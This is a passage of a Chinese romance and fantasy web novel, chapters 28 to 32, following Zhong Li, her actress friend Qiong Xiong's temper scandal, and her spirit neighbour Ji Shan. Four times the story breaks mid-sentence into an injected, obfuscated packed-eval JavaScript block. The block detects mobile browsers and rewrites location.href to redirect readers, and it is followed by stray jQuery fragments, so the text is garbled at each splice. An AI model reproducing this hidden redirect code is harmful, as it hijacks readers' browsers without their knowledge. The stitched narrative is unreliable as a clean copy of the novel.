大概还有十五分钟到达目的地,钟励就干脆在网上搜索关于琼芎的事情,到底是发生了什么?让经纪人说出琼芎在网上发言的事情都先处理不了。
都不用她搜,她下拉消息界面,密密麻麻的软件就给她推送了有关消息,只是她之前太忙了没来得及看。
#琼芎小牌大耍#
#新生代女星真面目暴露#
#琼芎欺负工作人员#
这都是些什么乱七八糟的,营销号无事生非?琼芎从小就是一个善良的人,她怎么可能会发泄怒火到别人身上。
钟励戴上蓝牙耳机,手机屏幕中间冒出一个加载中的圆圈,一直转转转的,她的耐心也随之消耗殆尽。
“什么视频这么难看?加载半天。”
下一秒,视频加载成功。
是一段模糊的视频,拍这段视频的人手抖,看着头晕。
好像是化妆间,周围人来人往的,听不清琼芎在说什么。一个身形矮小的工作人员凑近琼芎,下一秒琼芎暴起,把化妆桌上的瓶瓶罐罐一挥手全给推下去了。
塑料瓶的就滚着滚着到了角落,玻璃瓶的在接触地面的那一刻就粉身碎骨。地面一片狼藉,周边的其他人也放缓了脚步。
接着琼芎说道:“不就是这点破化妆品吗?我赔给你。”
她随即甩出一张卡,镜头正好在她转身的时候聚焦,她额角冒出青筋,眼里满是怒火,与平常温柔大方的形象大相径庭。
评论区纷纷表示,知人知面不知心啊。
钟励又打开其他有关视频看了一下,其实都是同一个视频,只是有些地方剪辑了。
“这到底是怎么回事啊?”
钟励喃喃道。
她还没来得及多加思考,计程车刚好到达目的地。
这是一家保密性很好的饭店,只是不知道为什么琼芎单独一个人站在门口,她穿着一件单薄的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14494738|151242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
长裙,肩上披着一件西装,在深秋里这也算很凉快的穿搭了。
钟励付完打车的钱后抬脚朝她走了过去,她抬起手刚要打招呼,饭店里走出来一个年轻男人,衣冠整齐,还有点眼熟,好像在某部大热剧里饰演一个小角色,因为是群像,所以虽然是新人但也小火了一把。
年轻男人走近琼芎,在她肩上轻拍了一下,年纪轻轻的,笑起来就已经一脸褶子了。
“琼芎姐。要不我送你回去吧。”
琼芎睨了他一眼,道:“你亲自送吗?”
男人喜出望外,一口应下来:“当然我亲自送更有诚意。”
琼芎嗤笑一声,“你送?你刚刚不是喝酒了吗?酒驾的话我是要报警的。”
男人脸上的笑容僵住了,也不知道是肤色白还是粉底白,从钟励的角度看,男人脸上的腻子白得发光,跟西装领口下的脖子两模两样。
男人还想要再说什么,钟励一个箭步冲了上去,阻拦道:
“没听见人家说不乐意了吗?纠缠什么?”
经纪人此时也出来了,她三步化作两步走过来,脸色微红。
“钟励,你可算来了。”
年轻男人捋了捋衣摆,谄媚的笑容收敛了,变得温文尔雅。
琼芎一头靠在钟励的肩膀上,双手像只八爪鱼一样缠绕着她的腰,嘟喃道:
“你怎么才来啊?这个男的烦死了,还好有你在。”
听到琼芎这么光明正大说他,男人脸上的表情维持不住了,他嘴角抽动了几下,但还是保持了表面的和谐,跟经纪人打招呼。
“琼芎姐,何姐,我先进去了。”
“钟励,想上厕所。”
琼芎抱着她轻轻摇晃了一下,接触到的皮肤表面凉凉的,钟励又把她肩上要掉不掉的衣服取下来,说道:“伸手。”
把西装外套从披着变成穿着。
“这么大人了,也不知道好好照顾自己。”
“钟励,跟我一起去上厕所吧。”
琼芎的右手臂卡在钟励的小腹上,钟励低头往下一看,她瘦的骨节分明。
“小孩子吗?还一起去上厕所。”
经纪人何姐拉开琼芎,说道:“我带你去,钟励都没来过这里。你上完厕所赶紧跟钟励回去啊。祖宗啊你这几天安分一点吧,明明你之前也没这么大脾气。”
钟励就站在一旁,发着呆,等她们出来。
突然她感觉到身边传来一个热源,还伴随着一股浓重的古龙香水味,钟励不由得皱了皱眉。
“您好?”
是刚刚纠缠琼芎的年轻男人,当然在钟励面前,他少了浮夸的笑容。
“你是琼芎的朋友?”
见钟励不搭理,男人也不退缩,他再次厚着脸皮搭话:
“我有一笔交易你要不要谈一下?”
钟励转过头去,“什么交易?”
男人轻笑,说道:“琼芎这么多年都单身,我知道她心里肯定是寂寞的。只要你告诉我琼芎的喜好。”
“我只要追到她,你就是促成我们两个的红娘,我会给你厚厚的红包,亏待不了你的。”
他接着抬起手,食指跟大拇指之间拉出一段距离,“有这么厚。”
29. 第 29 章
钟励偏着头睨了他一眼,若是有其他人在场,便会发觉她跟刚刚三分钟之前琼芎的神态有八分像。
“你知道我跟她是什么关系吗?”
男人点点头,笑容更深。“加价是吧?我懂的。”
“哈?”
钟励一脸问号。
钟励真想端起饭店门口的花盆朝他脸上扔,但她克制住了,不是因为她的高素质,这都是法治社会救了这个男人。
“千金不换,谢谢。”
钟励虽然穷,但她是有底线的。
她原以为说到这里,男人就该打住了。不料他顶了顶腮帮子,摇头轻笑,看了眼周围的环境,从西装内里掏出一张烫金的名片递给她。
“我懂,现在的环境确实不是谈话的时候。”
说罢他理了理刘海,见钟励不伸手收下名片,干脆直接塞到她外套的口袋里。
速度之快,让钟励一时恍神,她觉得这男人就算攀不上什么人,到时候去路边发传单也必然有一番大作为。
男人前脚刚走,后脚经纪人何姐跟琼芎就出来了。
“钟励,交给你了。”
何姐还没推开琼芎,琼芎自己就扑向了钟励,语气悲凉,一边说话还一边唉声叹气。
“我的经纪人抛弃我了,有好心人准备收留一下我吗?”
“你乖乖跟钟励回去,少给我惹事。”
琼芎也不知道是听到了没有,亦或是在装死,反正不应答。
钟励从琼芎的紧抱当中艰难抽出一只手,她朝何姐做了一个OK的手势。
“放心吧,保证完成任务。”
何姐点点头,“车在门口,你们上车吧。”
琼芎身上的酒味不重,还能灵活上车,丝毫没有头晕的迹象。
“又装上了?”
这话不是凭空捏造的,而是琼芎从前就有“前科”。她学生时代如果不想跑操了,不想上课了,钟励就会成为她的证人,证明她确实不舒服没有说谎。
久而久之,琼芎一个眼神,钟励就知道她又想偷懒了。
“我只是不喜欢饭局,可不是偷懒。”
琼芎从角落里拿出两瓶水,其中一瓶递给了钟励,钟励摇摇头表示不用了。
“对了。”
那张烫金的名片被钟励捏得发皱了,她将名片放到琼芎面前晃了晃。
“有人要花重金,买你的消息。”
琼芎眉毛微蹙,直接把钟励手里的名片抽过来捏成一小团,“一个神经病,你别理。重金什么的,我现在给你转账也行。”
她说着就要解锁手机,钟励一把手抢过手机,竖起一根手指左右摇摆。
“大明星,有钱也不是这么花的。”
“更何况我们之间的关系,用钱也买不来。”
琼芎听完嘿嘿一笑,没了在人前的聪明,反倒像个只会傻笑的呆子。
“还有。”
钟励收敛起笑容,她双手抱胸,嘴角向下,很不好惹。
“你最近是怎么回事?耍大牌?你知道这会对你的事业造成什么影响吗?”
琼芎躺在靠背上,全身都放松下来,她缓缓道:“没想到你还是我的事业粉啊。”
她们认识多年,钟励可不会手下留情。她直接一巴掌拍在她腿上,道:
“老实一点,如实招来。你也不是不知道当初选了这一行,就要面对无休无止的镜头,一切都活在民众的眼里,要珍爱你的事业,一举一动更要慎重。”
“不要让喜欢你的人失望。”
“还有,我不需要你来跟我站队,我本身就是清白的,他们又没有证据,你这样只会让你的竞争对手抓到你的把柄。”
琼芎不说话了,她低着头,双手放在大腿上十指交缠,浓密的假睫毛盖住了眼底的情绪,钟励开始觉得是不是自己太凶了。
她轻咳一声,找了个话题。
“那个,我收到你寄给我的海螺了。”
琼芎闻言欣然抬头,口红有点花掉了,但阻挡不住她的笑容。
“那你喜欢吗?”
钟励没有立刻回答,而是反问道:
“你不是工作很忙吗?怎么有空去海边给我捡海螺?”
“我是大明星,有的是人愿意为我效劳。”
这下子轮到钟励沉默了,琼芎如此大剌剌说出要求他人办事,那是否爆出的“耍大牌”视频并非虚假,可是她之前真的是一个很好的人。
“我不是那个意思,我只是开玩笑。”
“我送给你的海螺,都是我空闲的时候,去海边一个个给你捡的,我记得你说过,你不在乎价格,只要喜欢就是无价的。”
琼芎一桩桩一件件解释起来。
“网上爆出的视频我确实生气了,但我……可能是最近熬夜拍戏太多了,内分泌有点失调了,总是很容易暴躁。我下次会控制住的。”
“刚好她又冲在了我的气头上,难免对她迁怒。我后面跟她道歉过了。”
“行吧。”琼芎都跟她解释过了,也保证以后不会这样了,那她也没有什么可指摘的了。
“你还没说呢,我送你的海螺你喜欢吗?要是不喜欢,我再去给你多捡几个。”
琼芎眼巴巴看着钟励,跟小时候跟在她屁股后面一样,央求她一起去她舅舅家捡海螺。
“喜欢,都挺好看的。我会好好收藏的。”
琼芎终于满意了,她顺势倒下,枕在钟励的大腿上,把她当作人肉枕头。
“那我就放心了。我还担心比不过小时候送给你的呢。毕竟你小时候一收到我送你的礼物,巴不得宣扬给全世界。你现在倒是低调了。”
钟励掐了一把她的脸,笑道:“我现在高调,可就是蹭你的热度了,大明星。”
两个人又聊了一些家常,随即安静了一会儿,琼芎眼睛失神看着车窗外的夜景灯,眼底里倒映着五颜六色的霓虹灯。
她轻声说道:“我好想回到小时候啊。”
钟励挑了挑眉,纳闷问道:“我还记得某人小时候不止一次哭着跟我说,要是可以快点长大就好了,拿寿命去换也可以。怎么现在的说法又变了?”
琼芎转过身,背对着钟励,她闭上了眼睛,说话的时候钟励都能感觉到她声音的振动。
“小时候,跟
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14507399|151242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
现在的想法,有点出入也很正常。”
“嗡嗡嗡,嗡嗡嗡。”
钟励放在另一边座位的手机响了起来,是纪善打来的。
“喂?我现在就回去。”她看着驾驶座的导航,还有不到三分钟就能到达琼芎家。
琼芎一个翻身起来,钟励都来不及反应,下意识将手放到她头顶上,怕她磕到。
“快到家了,清醒了?”
琼芎眼神里没有醉意,反倒像一面古朴的黄铜镜,清澈但照不清。
安静的车后座里,接通电话的声音显得格外清晰。
琼芎盯着她,问道:“又是你的那个邻居吗?”
“不是我戴有色眼镜看人,是现在的新闻,杀人事件大部分都属熟人作案。你还是小心为好。”
钟励的脑子像生了锈的滑轮,一时卡了壳,一方面她不想欺骗她的好朋友,另一方面,她也不想牵扯琼芎进来,这不是她应该担心的事情。
最终钟励还是摇摇头,打了一个哈哈。“没有没有,他……自理能力不行,害怕蟑螂,等着我回去打蟑螂呢。”
十分拙劣的借口,可琼芎竟然也没有拆穿。
“我让司机送你回去吧,我会听你的话,认认真真工作,不会再发生‘耍大牌’的事情了。”
“只是……”
琼芎下了车后,迟迟没有关上车门,她沉默了几秒,开口道:
“你真的没有什么事情瞒着我吗?我们是最好的朋友,哪怕你是有了喜欢的人,我们也约定好了,要先跟对方说的吧。”
钟励差点就要全盘托出了,但琼芎是局外人,她何必牵扯无辜人进来。
纪善说的什么恶怨,是万万不能发生在琼芎身上的,她只能得到别人的喜欢,并且要幸福过下去。
于是钟励重重点了点头:“没有什么瞒你的事情,真的。”
“这样啊,那你一路顺风。”
琼芎的声音轻飘飘的,但力气倒是很大,“啪”一声车门被用力关上了。
车开走后,琼芎站在原地望着车辆逐渐远去,直至变成一个小黑点消失在眼前。
“钟励,我可是演员啊。你在骗我是吗?”
她低声喃喃道。
---
钟励这次回到小区门口可以大大方方走进去了,下午的阵仗她还真有点胆战心惊呢。
看着都是初高中年纪的孩子,心智不成熟,要真是对她做出什么事情来,也没有办法追究责任。
“嘶嘶嘶。”
路边的灯光可能是接触短路的,闪一下亮一下的。
“钟励。”
纪善岁月静好站在不远处,跟她打招呼,他身穿浅蓝色的卫衣,在柔和的灯光下显得无比温润。
下一秒,他淡定的表情开始发生剧烈变化,同时伴随着大跨步的奔跑。
“小心。”
纪善的视线转向旁边路灯坏掉的一个绿化带里,他朝钟励奔赴而来,直直的充满热气的拥抱压了下来。
“啪唧”一声,似乎有什么东西砸中了纪善,钟励还能闻到他的背上一股剧烈的臭鸡蛋味朝她的鼻腔袭击而来。
30. 第 30 章
“喂!”
有路人站出来,指着躲在绿化带后面的人怒斥道。
一阵窸窸窣窣的声音,能听到他们窃窃私语,没过几秒,绿化带里冒出好几个人,他们跑出来后分别朝着不同的方向逃跑了,头也不回。
钟励看不仔细,只能依稀看出他们年纪不大,看来应该是之前堵小区门口的那波人。没想到他们人没有完全走光,还埋伏在人看不到的地方。
“你没被砸伤到哪里吧?”钟励问道。
路边还是有很多小石子的,要是砸到脑袋可不是小事。
“我没事。”纪善摇摇头,他转过头去,他拉扯着衣服想看看后面的情况,但是视角盲区,怎么也看不到。
钟励走了几步到他身后,“我看看。”
只见蓝色的卫衣后面粘着一堆发黑的鸡蛋液,粘稠粘在了上面,比较稀的部分就顺着他的背脊滑了下来,但这样也只能扩大污染面积。
“额,你这件衣服还要吗?”
钟励的鼻腔一直被臭鸡蛋味攻击,或许已经适应了,没有一开始那么刺鼻了。
一堆未成年人,就算抓到了也不会有什么惩罚,俩人只能作罢。
“没关系,这件衣服我本来就想丢掉了,你看看,都开线了。”
纪善指着衣服下摆的一处线头,这都没有钟励平时新买衣服的线头多。
“实在是抱歉了,不知道最近为什么这么倒霉?”难道真是她身上恶怨的问题?还能变倒霉?
钟励重重呼出一口气,将鼻腔里的臭鸡蛋味赶出去。
“算了,我们先回去吧。不知道还有没有埋伏。”
听到钟励的建议,纪善点了点头,“好。”
味道真的冲,钟励身上没有口罩,她很想离纪善远一点,但是人家是替她被砸的,这样很不够义气。但是真的臭啊。
小区里其他居民原本在原地聊天的,一看到他们两个生化污染走过去,都纷纷走开了。
“什么味道这么臭啊?”
“不知道啊,好像是从那个小伙子身子传出来的。”
“没想到啊,看着人模人样的,居然不洗澡?衣服也不洗。”
“苦了他旁边那个小姑娘了,跟这种人在一起,岂不是当妈?”
钟励抿了抿嘴,尴尬得想从地缝钻进去。但她转头一看,纪善走路的姿势已经同手同脚了,腰背挺直,一点都不想让皮肤接触到被污染的部分。
人果然需要对比,这样一看,她的尴尬也不算尴尬了。
进了电梯后隔绝了视线,俩人终于可以喘一口气了。
只是气味在密闭的空间里,更浓烈了。钟励假装活动活动身体,实则她已经缩到了电梯的角落里,试图屏住呼吸。
“那个。”纪善打破了沉默,也打破了钟励的憋气。
“咳咳咳,你说什么?”
“其实,我每天都洗澡的,我每天也洗头。”
“什么?”钟励摸不着头脑,他这一番前言不搭后语的话。
“哦哦,我相信你的。”原来是在替刚刚有人说他不洗澡的事情做解释。
“对了,你不是善灵吗?没有什么法术之类的,清洗衣服?”
沉默,长久的沉默,直到电梯到达他们所住的楼层,纪善才开口解释。
“我的力量没了,不是我虚,我之前很强的,你应该也是知道的。”
恰好电梯门打开,电梯门口有一个年轻男子,他手上捏着厚厚的名片,背着一个黑色的包,包没有拉上拉链,露出花花绿绿的传单。他抬眼,眼里满是对纪善的同情。
他从厚厚的一叠名片里抽出一张,塞到纪善的手里,还拍了拍他的肩膀。
“兄弟,我懂你。”
直到电梯门再次关上,钟励看着自家门上贴上的小广告,【男科……】,才明白刚刚那人什么意思。
她一把撕了下来,刚刚粘上去的胶水还没有干透,但撕下来还是会有残留。想着哪天搞个大扫除。
“我先回去了。”纪善打开门,他另一只手攥紧了名片,已经变成一团了,还有同样贴在他家门口的传单也变了一团。
“好的好的。”钟励点点头,想必他本人更尴尬。
“对了。”纪善进门之前叫住了钟励,又跟之前一样,看向她的身体周边。
“你去了哪里?身上的恶怨又浓烈了。从在小区门口就想问你了,只是被事情耽搁了。你现在心情怎么样?”
钟励抬手摸了摸心脏,感觉心情很平和啊。她有情绪波动的事情,可能就是跟纠缠琼芎的男人发生争执那里吧。
这种事情也不能生气吗?那人岂不是变成了机器?连一点情绪波动也不能有。
“我没事,跟人闹了不愉快,我现在感觉还行,距离失去理智,应该还有很长一段距离。”
从纪善的视角看,钟励身上的恶怨张牙舞爪的,以包围她为核心,边缘有些许溢出,尤其对他特别抵触。
他低头看了一眼攥着广告传单的左手手心,有一块几乎占满整个手心的红痕。刚刚在小区门口被臭鸡蛋砸到的时候,不小心碰到了钟励的腰,结果被她身上的恶怨攻击。
这种浓度的恶怨,按理来说本人早就应该失去理智。但看着钟励冷静交谈的模样。纪善开始怀疑起自己的经验。
活到老学到老吧,经验有时候也不一定管用。
---
天气逐渐转凉,现在站在太阳底下都凉飕飕的了。
“额……”
钟励躺在床上伸了一个懒腰,她房里的窗帘紧闭,已经分不清的白天还是黑夜了。
她最近都只吃一顿饭,早上起不来一觉直接睡到中午,起来洗漱,活动活动,就是下午了。干脆就直接午饭晚饭混着吃。
“砰砰砰,砰砰砰。”
钟励点好了外卖,在考虑要不要喝奶茶的时候,突然听到门外传来剧烈的敲门声。
她仔细一听,不是在敲她的门。可是这一层只有她跟纪善住啊,难道是来找纪善的?
紧接着下一秒,一道尖锐的女声出现了。
“开门啊,你这个负心汉。装死是吧。”
八卦的心燃起,钟励掀开了猫眼处的盖子,往外看。
轰隆隆的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14534095|151242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来了三个人,为首的一个在前列,后面两个人分别充当左右护法,站在两边,感觉也充当警戒线的作用,要是有人跑出来,就会发现路被堵死。
“跟我在一起后,居然还出轨别的女人。你对得起我三年的付出吗?开门。”
为首的女人说到后面都破音了。
钟励只能看到她们三个人的背影,穿的都是方便活动的休闲装,头发都扎起来了,看起来是要打一场硬仗。
左右护法还拎着一个大袋子,米白色的袋子里透出红色。直到她们从袋子里拿出了一条横幅。
她们拉着横幅横亘在电梯中间,钟励看到了上面印刷的字。
【负心狗纪善,还我三年青春。】
钟励喃喃着念出上面的一行字。
“呼。”不知道是不是错觉,她觉得三人往她这里看了一眼,她怕惹上事一转身背靠了门上,猫眼也给盖上了。
真想不到纪善是这种人啊,他也会玩弄别人的感情吗?看着清清纯纯的,跟她说话有时候还会脸红,还以为没谈过恋爱,没想到是海王。
善灵在工作的时候也能谈恋爱吗?还是说在下班时间谈的。
不对,他跟人类是一个物种吗?不过现在不是人都能谈,他还有人形,应该没毛病。
钟励的情绪倒是没有太大起伏。她之前确实对纪善有点好感,但那只存在于一点点欣赏。
她这种欣赏,在她上班的时候,每一站地铁能欣赏两三个。
那以后要离纪善远一点了,就算不是因为形象破灭,也得离远一点。万一他前女友误以为她是纪善的现任女友可怎么办?
甚至误以为她插足两人感情,这可不是完蛋了。
钟励越想越觉得是,她跑回房间,拿起床上的手机,点开跟纪善的聊天页面。
要不跟他说互删?可是无缘无故删人不合适吧。
这倒不是钟励她小题大做,实在是她很害怕卷入男女的情感纠纷当中。
她大学的时候,跟一个朋友走在一起,突然就被后背来的人一把抓住她的马尾,扯得她头发发疼。
一边扯她头发,一边还骂她是插足别人感情的小三。
后来才知道,是她这个朋友被小三了,那个男的脚踏两条船,被女友发现了外面有人,翻他手机看到了一张合照。
那男的不忍心说出钟励朋友,就颤巍巍将手指指到了钟励身上。
可把钟励给气得,后来往那男人下半身踹了好几脚。
钟励讨厌麻烦,如果有麻烦要发生,那她一定会先扼杀在摇篮当中。
她盯着聊天页面的删除,迟迟下不了决心。人家确实帮了她忙啊,难道这也是海王手段的一部分吗?
先是温柔帮助取得她的心,温水煮青蛙一般,后面要是他的前段感情被发现,他就可以说是都过去了,只是前任的纠缠。或许有些女孩子会心软,甚至觉得她就是这个海王的例外。
“嗡”的一下,聊天页面弹出一条消息,是纪善发来的。
“你听我解释,完全不是你想象的那样。”
嚯,渣男辩解的统一开头。
31. 第 31 章
钟励知道,男人的话不能信,花言巧语的,就知道哄骗女人。
她看着纪善发来的消息,撇撇嘴,心里对他的好感度已经下了一座山了。
她眼睛一转,打算含糊其辞,毕竟要是真问了,那她跟他是什么关系?她会这么在乎。
眼睛一闭大脑放空,直接进入客服模式。
钟励:【不知道您说的是什么事情呢?】
她消息刚一发出去,纪善就显示正在输入中。
纪善:【我没有跟其他人谈过恋爱的,不知道为什么会有人跑来污蔑我。】
【她们……不是普通人。】
钟励摇摇头,心想道这个海王的段位很一般啊。直接否认掉不是一个圆滑的答案,还把锅推到别人身上。
他要是大大方方承认谈过,钟励或许还会觉得他诚实。
追上门的女生知道他的名字,还花钱定制横幅,他一句话否定掉两个人之间的感情,人品完全不行。
钟励皮笑肉不笑。
【哦这样子啊。对了我还有事情要忙,就先这样吧。】
不给纪善拒绝的机会,钟励单方面结束了话题。
删人暂时还是算了,虽然他在道德私生活上面很不行,但作为朋友暂时不至于绝交。她以后还是离远一点就可以了。
纪善又发了两条消息,钟励没回复,她开启了免打扰,转头刷其他软件去了。
她趴在床上,盯着右上角的聊天图标,下拉消息页面后一键清除。
眼不见为净,一切狡辩的话她都不想听。
【圣诞节诚聘店员,一天300.】
钟励刷到一个招聘页面,招的临时工,她一个翻身就坐起来了。
一天300,这她得去啊。
赚钱的机会可不多,钟励二话不说直接拨打了店主的电话约了面试。
男人什么的先放在一边,钱才是重要的事情。谈恋爱或许可以有很多段,但赚钱的机会稍纵即逝。
虽然只有三百,但积少成多。她只要抓住每一次机会,就能……抓住每一次机会。
店员没什么技术含量,要求也不高,钟励一去就被老板录用了。招三个人,她刚好是最后一个。
她没有正职工作,那目前就先干点兼职,毕竟光靠那一点点存款,压力太大了。
钟励有点高兴,兴奋得想要在店里买一块蛋糕回去。她弯下腰凑近暖光照着的橱窗,透明的玻璃门上倒映出她消失的笑容。
“不是吧,一个三角切块蛋糕居然要卖到三十多。”就算是临近节假日,也没必要卖这么贵吧。
这么小一块,她嘴巴要是再大一点,两口就吃完了。她要是花钱买了,岂不是自己给自己发工资,老板还从其中抽成。
钟励摇摇头,越想越不值,被勾起的馋虫让她强制打了麻醉剂,还是先去冬眠吧,等到什么时候吃得起了再复活。
那回家的时候买一份麻辣烫吧,冷一点的天气就得吃热乎乎的带汤的东西。
钟励刚走出蛋糕店门口,口袋兜着的手机就嗡嗡嗡振动起来。
她拿出手机一看,是纪善打过来的。她将纪善的消息免打扰了,可能是太久收不到回复,就直接打过来了。
可是她不想跟渣男有关系啊,钟励瘪嘴看着振动的手机页面,艰难地上滑接通了。
“喂?”她不情不愿开口道。
“钟励,你现在没事吧?”
纪善说话的时候还大喘气,不时他那边还传过来几声尖锐的汽车喇叭声。
“我看你一直没回消息,我去你家里敲门你也没有应答,还以为你被恶怨吞噬了,你现在还好吧。”
钟励顿时心生愧疚,虽然他在私生活上人品不行,但他真的挺善良的。
她回答道:“我没事,我现在在外面呢。”
纪善也是觉得马路边有点吵了,他走远几步找了一个稍微安静一点的地方。
“你这几天有什么事情吗?比如要去哪里之类的。”
听到纪善的问题,钟励惊讶地张大了嘴巴,他怎么会知道?平常她没事干都是宅在家里的。
“是,这几天要出门,不过你怎么知道?”
“我发现最近这几天,我们住的地方,恶怨浓度变强了。但我细看,并不是你身上散发出来的。”
“所以,我希望未来几天,我可以呆在你的身边。这样你要是有什么异常状况,我可以第一时间知道。”
钟励虽然现在没有面对面跟他沟通,但都能想象出他将这番话的时候,眼睛会直勾勾盯着你看,明明是一双多情的桃花眼,讲这些话的时候却无辜得像一只小狗。
这就是海王的套路吗?加上那张脸,也怪不得有人会沦陷。
钟励抿了抿嘴,找一个理由拒绝他。
“额……我未来几天找了一个兼职,要去上班的。这么多人在,我不会发生什么事情的。”
“是吗?在哪里啊?”
“就……一个地方啊。”
钟励绞尽脑汁打哈哈,就是不愿意说出确切的地点。
“抱歉,我不是故意要打探你消息的,只是希望有一个准备。万一到时候你真的出了什么事情,我不至于找不到你。”
纪善慢慢解释,他清润的声音从手机传来,如同一阵清风。
钟励觉得可能自己态度太差了,人家也只是担心她的安危而已。鬼使神差的,她讲出了工作的地点。
“我在一家蛋糕店当临时工,正职员工忙不过来,工资还可以。”
“是吗?那我可以也去当临时工吗?这样我们就可以一起了。”
纪善欣喜想出了一个办法。
钟励嘴巴做了一套体操,张了张嘴又不知道说什么,办公室恋情不好啊。虽然她这工作没有办公室。她跟纪善也不是情侣关系,但这一套行为真的很像。
“那个,我觉得没有必要……”
钟励拒绝的话才说了一半,就被纪善打断了。
“对了,我去调查了来找我,说我是渣男的那三个人,还去调了监控录像。结果发现那段时间根本没人进出小区。我怀疑恶怨浓度的提升可能跟她们有关。”
单纯的话语并不能让人信服,纪善还传来了一段监控录像,根据右上角的时
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14566070|151242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
间,确实那三个人来的时间段没人出入小区门口。
不会真是误会纪善了吧。钟励轻轻抓了几下头发,她不敢用力,已经到了脱发的年纪了。
“好吧,我在不远的一家蛋糕店。这里人已经招满了,你就算来也不会录用你的。”
钟励给他发了地址,没几分钟纪善就飞奔而来了。
作为对纪善的补偿,钟励愿意向老板引荐他。
老板扎着一个侧麻花辫,坐在收银台算账呢。
一见钟励走进来,抬起头看了她一眼,又低头去干自己手头上的事情了,她问道;
“对于工作还有什么疑问吗?”
“老板,你还招人吗?我有个熟人也要来。”
钟励说出口后看到老板拧起的眉头内心十分满意,来吧,就是这样,狠狠拒绝她。
下一秒老板开口道:“我招人不提倡熟人抱团的哈。而且已经招满了,不缺人了。除非你不干了,让你朋友来干。”
得到了让钟励满意的答案,她眨了眨眼,对老板说道:
“唉,我也是这么说的,可是我那个朋友非要来,一会儿他来了,您一定好狠狠拒绝他啊。”
老板挥了挥手,表示她知道了。
话音刚落,纪善推门而入。钟励低声对老板说道:“这就是我的那个朋友。”
“您好,请问这里还招人吗?”
钟励双手抱胸,内心的小人摇摇头,感叹道:你已经来晚了,人家不会要你的,赶紧回家吧。
老板原本坐在收银台里面,一听到纪善的话她飞奔出来,声音都温柔了不少。
“招人啊,招人的。”
这下轮到钟励拧起眉头了,她刚刚不是听到老板说不招人了吗?这是怎么回事?
老板围着纪善转了一圈,越看越满意,笑容越深。
“帅哥,有你在,我这个圣诞节说不定销售额能创新高呢。有没有考虑当长期工啊?我薪资可以给你开高一点的。”
“不用了,我就来几天。”
好吧,老板遗憾离场,也不再劝。
钟励走到老板身边,朝她使了一个颜色,压低声音问道:
“老板,你刚刚不是说不招人了吗?”
“对别人我肯定不招了啊,可是对他那张帅脸,不知道会吸引多少小姑娘过来照顾我的生意,我傻啊,将钱往外推。”
钟励想想也是这么个道理。
“不过。”老板话锋一转,她手上的笔放在了下巴上,作思考状。
“我店里也容不下这么多人啊,是不是要开掉一个才行啊。”
钟励瞪大了眼睛,心想那还得了。
开人,开谁啊?要是把她给开了怎么办?
她猛地一转头,看着一脸无辜的纪善一肚子火,他运气是真好啊,感觉干什么事情都可以成功。
只有她这么倒霉的吗?她不服。
钟励的脸颊气鼓鼓的,像一只河豚。
她向上天发誓,要是老板这次把她给开了,她从此不再搭理纪善,她见不得别人的成功来得太轻松,而且还是把她给挤兑掉了。
32. 第 32 章
老板精明的眼神从他们两人身上划过,嘴角勾起一丝神秘的微笑。
“不裁了,怕忙不过来,多招一个就多招一个吧。其中一个还是自带口粮的,那我就没必要往外推了。”
钟励听到老板话的前面三个字就将心放回肚子里去了。至于后面说的什么她完全没在意,与她无关。
自己的失败固然难过,可别人的成功才更让人心寒。
她感觉纪善这小子是真命好啊,想要做什么事情轻轻松松就能做到。人比人气死人,距离圣诞还有两天,这两天她得避着一些,不然容易心理不平衡。
“钟励。”
纪善朝她走来,肩膀不小心与她相碰,接触了两秒后又迅速分开了。
钟励心里毛毛的,下意识也走偏了一步。这就是海王的手段吗?若即若离。果然套路深,玩不过啊玩不过。
虽然纪善已经解释过了,但一个帅哥智商情商都正常,也没有什么疾病,没谈过恋爱才不正常呢。
---
时间转瞬即逝,圣诞节也到了。
钟励一伙人到了店里以后,按照老板的吩咐装饰,气氛得搞起来。
不过,就算是节日,人也太多了吧。
蛋糕店又不大,钟励得很小心,才能缩着肩膀不撞到别人。
老板也察觉了人流量的异常,“难道有什么事情吗?”
